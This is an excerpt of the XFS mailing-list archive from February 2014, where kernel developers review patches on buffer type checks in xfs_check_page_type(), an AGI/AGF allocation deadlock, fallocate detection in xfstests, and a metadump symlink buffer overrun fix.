Signed-off-by: Brian Foster >>> --- >>> >>> The only other caller to xfs_check_page_type() is xfs_convert_page(). I >>> think this is safe with respect to that codepath, given the additional >>> imap checks therein and whatnot, but thoughts appreciated. >>> >>> Brian >>> >>> fs/xfs/xfs_aops.c | 2 -- >>> 1 file changed, 2 deletions(-) >>> >>> diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c >>> index db2cfb0..5962a9f 100644 >>> --- a/fs/xfs/xfs_aops.c >>> +++ b/fs/xfs/xfs_aops.c >>> @@ -655,8 +655,6 @@ xfs_check_page_type( >>> acceptable += (type == XFS_IO_DELALLOC); >>> else if (buffer_dirty(bh)&& buffer_mapped(bh)) >>> acceptable += (type == XFS_IO_OVERWRITE); >>> - else >>> - break; >>> } while ((bh = bh->b_this_page) != head); >>> >>> if (acceptable) >> >> Is there any reason to scan all the buffers when we all we want is >> an indication that at least one is acceptable? Maybe there are >> generally not may buffers to a page to make it worthwhile. >> > > Hi Mark, > > Good point. We could pull the 'if (acceptable)' check up into the loop > and exit as soon as we find something writeable. > > Alternatively, we could do something like the following and get rid of > 'acceptable' entirely (or continue to nest the type checks if there's a > performance concern): > > ... > if (buffer_unwritten(bh) && type == XFS_IO_UNWRITTEN) > return 1; > else if (buffer_delay(bh) && type == XFS_IO_DELALLOC) > return 1; > else if (buffer_dirty(bh) && buffer_mapped(bh)&& > type == XFS_IO_OVERWRITE) > return 1; > ... > > Brian Good catch BTW. Yes that is what I was thinking. --Mark. From sgosse@sgi.com Fri Feb 28 15:32:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3A0C57F3F for ; Fri, 28 Feb 2014 15:32:58 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id B840FAC008; Fri, 28 Feb 2014 13:32:54 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.132]) by pv-excas2-dc21.corp.sgi.com ([137.38.106.9]) with mapi id 14.03.0123.003; Fri, 28 Feb 2014 15:32:53 -0600 From: Shaun Gosse To: Mark Tinguely , Brian Foster CC: "xfs@oss.sgi.com" Subject: RE: [PATCH] xfs: check all buffers in xfs_check_page_type() Thread-Topic: [PATCH] xfs: check all buffers in xfs_check_page_type() Thread-Index: AQHPNLqBxXjz/8WGzkqOXZ5SSc5f65rLezmA//+iKUA= Date: Fri, 28 Feb 2014 21:32:53 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708647305CBB3@P-EXMB2-DC21.corp.sgi.com> References: <1393615369-41882-1-git-send-email-bfoster@redhat.com> <5310EB67.5050404@sgi.com> In-Reply-To: <5310EB67.5050404@sgi.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.184] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 > Is there any reason to scan all the buffers when we all we want is an ind= ication that at least one is acceptable? > Maybe there are generally not may buffers to a page to make it worthwhile= . > The problem is the else doesn't check if acceptable is set before breaking.= So it can quit early, not having found what it was looking for even though= it was in one of the later buffers. Pre-mature optimization... So the patch is good as is. It improves correctness. If the optimization were desired, though, it could be: + else if (acceptable) + break=20 In addition to the remove already posted, and with proper whitespace. Fair warning: this is without looking at the code, just inferring from what= 's been written in those two emails. I'm hearing my CS101 professor in my h= ead and thinking may not be worth a couple cycles at the risk of correctnes= s or clarity (and suggesting code blind seems risky). Actually, this could be the first condition. If the whole point of that loo= p is just to make sure to set acceptable if it can be set according to the = rules on the basis of at least one of the buffers, then a starting: + if (acceptable) + break With an annotation something like "/** Optimization: Quit when acceptable h= as been set. Loop has no other side-effects to worry about.*/" seems reason= able (and hopefully is true). And then it's clear from the code that's the = point of the loop and how it works. Cheers, -Shaun From sgosse@sgi.com Fri Feb 28 15:34:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 32D397F3F for ; Fri, 28 Feb 2014 15:34:05 -0600 (CST) Received: from xmail.sgi.com (pv-excas3-dc21.corp.sgi.com [137.38.106.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 142FD304066; Fri, 28 Feb 2014 13:34:05 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.132]) by pv-excas3-dc21.corp.sgi.com ([137.38.106.11]) with mapi id 14.03.0123.003; Fri, 28 Feb 2014 15:34:04 -0600 From: Shaun Gosse To: Shaun Gosse , Mark Tinguely , "Brian Foster" CC: "xfs@oss.sgi.com" Subject: RE: [PATCH] xfs: check all buffers in xfs_check_page_type() Thread-Topic: [PATCH] xfs: check all buffers in xfs_check_page_type() Thread-Index: AQHPNLqBxXjz/8WGzkqOXZ5SSc5f65rLezmA//+iKUCAABKKoA== Date: Fri, 28 Feb 2014 21:34:03 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708647305CBC8@P-EXMB2-DC21.corp.sgi.com> References: <1393615369-41882-1-git-send-email-bfoster@redhat.com> <5310EB67.5050404@sgi.com> <8D3FA7645C1CFC4E9E783D22B4C708647305CBB3@P-EXMB2-DC21.corp.sgi.com> In-Reply-To: <8D3FA7645C1CFC4E9E783D22B4C708647305CBB3@P-EXMB2-DC21.corp.sgi.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.184] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Ha, disregard, caught up to read the other email and I see everyone else go= t there too. I would've been in the thread an hour ago, but unfortunately t= imed call back from Microsoft support, much to my dismay. Carry on then... -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Shaun Gosse Sent: Friday, February 28, 2014 3:33 PM To: Mark Tinguely; Brian Foster Cc: xfs@oss.sgi.com Subject: RE: [PATCH] xfs: check all buffers in xfs_check_page_type() > Is there any reason to scan all the buffers when we all we want is an ind= ication that at least one is acceptable? > Maybe there are generally not may buffers to a page to make it worthwhile= . > The problem is the else doesn't check if acceptable is set before breaking.= So it can quit early, not having found what it was looking for even though= it was in one of the later buffers. Pre-mature optimization... So the patch is good as is. It improves correctness. If the optimization were desired, though, it could be: + else if (acceptable) + break=20 In addition to the remove already posted, and with proper whitespace. Fair warning: this is without looking at the code, just inferring from what= 's been written in those two emails. I'm hearing my CS101 professor in my h= ead and thinking may not be worth a couple cycles at the risk of correctnes= s or clarity (and suggesting code blind seems risky). Actually, this could be the first condition. If the whole point of that loo= p is just to make sure to set acceptable if it can be set according to the = rules on the basis of at least one of the buffers, then a starting: + if (acceptable) + break With an annotation something like "/** Optimization: Quit when acceptable h= as been set. Loop has no other side-effects to worry about.*/" seems reason= able (and hopefully is true). And then it's clear from the code that's the = point of the loop and how it works. Cheers, -Shaun _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Fri Feb 28 16:23:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 35C0E7F3F for ; Fri, 28 Feb 2014 16:23:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BFF0FAC009 for ; Fri, 28 Feb 2014 14:23:51 -0800 (PST) X-ASG-Debug-ID: 1393626229-04bdf05da913e2a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id rV0GlaoNC76yzAAu for ; Fri, 28 Feb 2014 14:23:49 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjZrAIoLEVN5LJYePGdsb2JhbABZgwaDQ4UMtAqFWYEUFwMBAQEBHxkNKIIlAQEFJxMNDyMQCAMOCgklDwUlAwcaE4d4rw6cXRcWjj8HgyOBFASYOZVtKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 01 Mar 2014 08:50:51 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJVnU-0004jI-6b; Sat, 01 Mar 2014 09:20:48 +1100 Date: Sat, 1 Mar 2014 09:20:48 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Message-ID: <20140228222048.GD13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation References: <1392142066-16174-1-git-send-email-bfoster@redhat.com> <20140228192418.GB15562@laptop.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140228192418.GB15562@laptop.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393626229 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145615 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 28, 2014 at 02:24:18PM -0500, Brian Foster wrote: > On Tue, Feb 11, 2014 at 01:07:46PM -0500, Brian Foster wrote: > > The inode chunk allocation path can lead to deadlock conditions if > > a transaction is dirtied with an AGF (to fix up the freelist) for > > an AG that cannot satisfy the actual allocation request. This code > > path is written to try and avoid this scenario, but it can be > > reproduced by running xfstests generic/270 in a loop on a 512b fs. > > > > An example situation is: > > - process A attempts an inode allocation on AG 3, modifies > > the freelist, fails the allocation and ultimately moves on to > > AG 0 with the AG 3 AGF held > > - process B is doing a free space operation (i.e., truncate) and > > acquires the AG 0 AGF, waits on the AG 3 AGF > > - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) > > > > The problem here is that process A acquired the AG 3 AGF while > > moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF > > held). xfs_dialloc() makes one pass through each of the AGs when > > attempting to allocate an inode chunk. The expectation is a clean > > transaction if a particular AG cannot satisfy the allocation > > request. xfs_ialloc_ag_alloc() is written to support this through > > use of the minalignslop allocation args field. > > > > When using the agi->agi_newino optimization, we attempt an exact > > bno allocation request based on the location of the previously > > allocated chunk. minalignslop is set to inform the allocator that > > we will require alignment on this chunk, and thus to not allow the > > request for this AG if the extra space is not available. Suppose > > that the AG in question has just enough space for this request, but > > not at the requested bno. xfs_alloc_fix_freelist() will proceed as > > normal as it determines the request should succeed, and thus it is > > allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails > > because the requested bno is not available. In response, the caller > > moves on to a NEAR_BNO allocation request for the same AG. The > > alignment is set, but the minalignslop field is never reset. This > > increases the overall requirement of the request from the first > > attempt. If this delta is the difference between allocation success > > and failure for the AG, xfs_alloc_fix_freelist() rejects this > > request outright the second time around and causes the allocation > > request to unnecessarily fail for this AG. > > > > To address this situation, reset the minalignslop field immediately > > after use and prevent it from leaking into subsequent requests. > > > > Signed-off-by: Brian Foster > > --- > > > > v2: > > - Reset minalignslop immediately after use rather than prior to the > > subsequent request and add a comment. [dchinner] > > > > ping? Any chance to get this committed? I'm sorry, Brian, I thought I had committed it - I'll get it in the next round. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Feb 28 16:31:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6AEDF7F3F for ; Fri, 28 Feb 2014 16:31:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D100DAC009 for ; Fri, 28 Feb 2014 14:31:09 -0800 (PST) X-ASG-Debug-ID: 1393626667-04cb6c5675130860001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 0moiEjeIyD3WKQM2 for ; Fri, 28 Feb 2014 14:31:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjVrAMANEVN5LJYePGdsb2JhbABZgwaDQ4UMtAmFWYEUFwMBAQEBHxkNKIIlAQEEATocIwULCAMYCSUPBSUDBxoTh3EHy2gXFo4/B4MjgRQEmDmVbSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 01 Mar 2014 09:01:06 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJVxR-0004lF-Gx; Sat, 01 Mar 2014 09:31:05 +1100 Date: Sat, 1 Mar 2014 09:31:05 +1100 From: Dave Chinner To: Eric Sandeen Cc: Lukas Czerner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 4/8] xfstests: Move fallocate include into global.h Message-ID: <20140228223105.GE13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/8] xfstests: Move fallocate include into global.h References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-4-git-send-email-lczerner@redhat.com> <5310C4B5.9010901@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5310C4B5.9010901@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393626667 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145615 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 28, 2014 at 11:17:41AM -0600, Eric Sandeen wrote: > On 2/28/14, 10:11 AM, Lukas Czerner wrote: > > Move the inclusion of falloc.h with all it's possible defines for the > > fallocate mode into global.h header file so we do not have to include > > and define it manually in every tool using fallocate. > > > > Signed-off-by: Lukas Czerner > > I like the direction, but I think this changes behavior a little bit. > > #ifdef FALLOCATE came from an autoconf macro: > > AC_DEFUN([AC_PACKAGE_WANT_FALLOCATE], > [ AC_MSG_CHECKING([for fallocate]) > AC_TRY_LINK([ > #define _GNU_SOURCE > #define _FILE_OFFSET_BITS 64 > #include > #include ], > [ fallocate(0, 0, 0, 0); ], > [ have_fallocate=true; AC_MSG_RESULT(yes) ], > [ have_fallocate=false; AC_MSG_RESULT(no) ]) > AC_SUBST(have_fallocate) > ]) > > (at least I think so?) Not quite. autoconf defines "have_fallocate" to match the variable name in the AC_SUBST() macro above. The makefiles do this: include/builddefs.in:HAVE_FALLOCATE = @have_fallocate@ include/builddefs.in:HAVE_FALLOCATE = @have_fallocate@ to define HAVE_FALLOCATE at the makefile level, and then they do this to pass it into the C source: ltp/Makefile:ifeq ($(HAVE_FALLOCATE), true) ltp/Makefile:LCFLAGS += -DFALLOCATE src/Makefile:ifeq ($(HAVE_FALLOCATE), true) src/Makefile:LCFLAGS += -DHAVE_FALLOCATE > and so #ifdef FALLOCATE meant that > an fallocate syscall actually exists. With your changes, > the test is now whether the fallocate *header* exists. It actually tests both, because if header doesn't exist, the compile of the test stub will fail in the macro will fail. So, no change there, really. > falloc.h is part of kernel-headers, not glibc. So it's > possible that there's a divergence between the two. Right, which is why we need to test both ;) > I think it's probably ok. Build-time checks should > determine whether we are able to _build_ and yours do that. > Each caller of fallocate (or each test using it) then probably > needs to ensure that the functionality it wants is actually > available at runtime and handle it if not. > > So I'll give this a > > Reviewed-by: Eric Sandeen > > but maybe the above rambling will ring alarm bells for > someone else... ;) I need to look at it all in more detail. I thought I'd just explain exactly what was happening with autoconf here... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Feb 28 17:28:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A02967F3F for ; Fri, 28 Feb 2014 17:28:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 911C18F8035 for ; Fri, 28 Feb 2014 15:28:20 -0800 (PST) X-ASG-Debug-ID: 1393630098-04cbb066e4139880001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id b14dcWwcb5KwxnlV for ; Fri, 28 Feb 2014 15:28:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjJkAMgaEVN5LJYePGdsb2JhbABZgwaDQ4UMtA2FWYEQFwMBAQEBHxkNKIIlAQEEATocIxAIAxgJJQ8FJQMHGhOHcQfLXxcWjj8HgyOBFASYOZVtKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 01 Mar 2014 09:58:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJWqm-0004to-Cx; Sat, 01 Mar 2014 10:28:16 +1100 Date: Sat, 1 Mar 2014 10:28:16 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] metadump: pathname obfuscation overruns symlink buffer Message-ID: <20140228232816.GF13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] metadump: pathname obfuscation overruns symlink buffer References: <1393568723-982-1-git-send-email-david@fromorbit.com> <1393568723-982-4-git-send-email-david@fromorbit.com> <5310CAEB.8080503@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5310CAEB.8080503@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393630098 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145616 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 28, 2014 at 11:44:11AM -0600, Eric Sandeen wrote: > On 2/28/14, 12:25 AM, Dave Chinner wrote: > > diff --git a/db/metadump.c b/db/metadump.c > > index 3248009..cd489a6 100644 > > --- a/db/metadump.c > > +++ b/db/metadump.c > > @@ -1015,16 +1015,23 @@ obfuscate_sf_dir( > > } > > } > > > > +/* > > + * The pathname may not be null terminated. It name be terminated by the end of > > can you fix up the start of that 2nd sentence? Done. > > Otherwise, > > Reviewed-by: Eric Sandeen Thanks! Dave. -- Dave Chinner david@fromorbit.com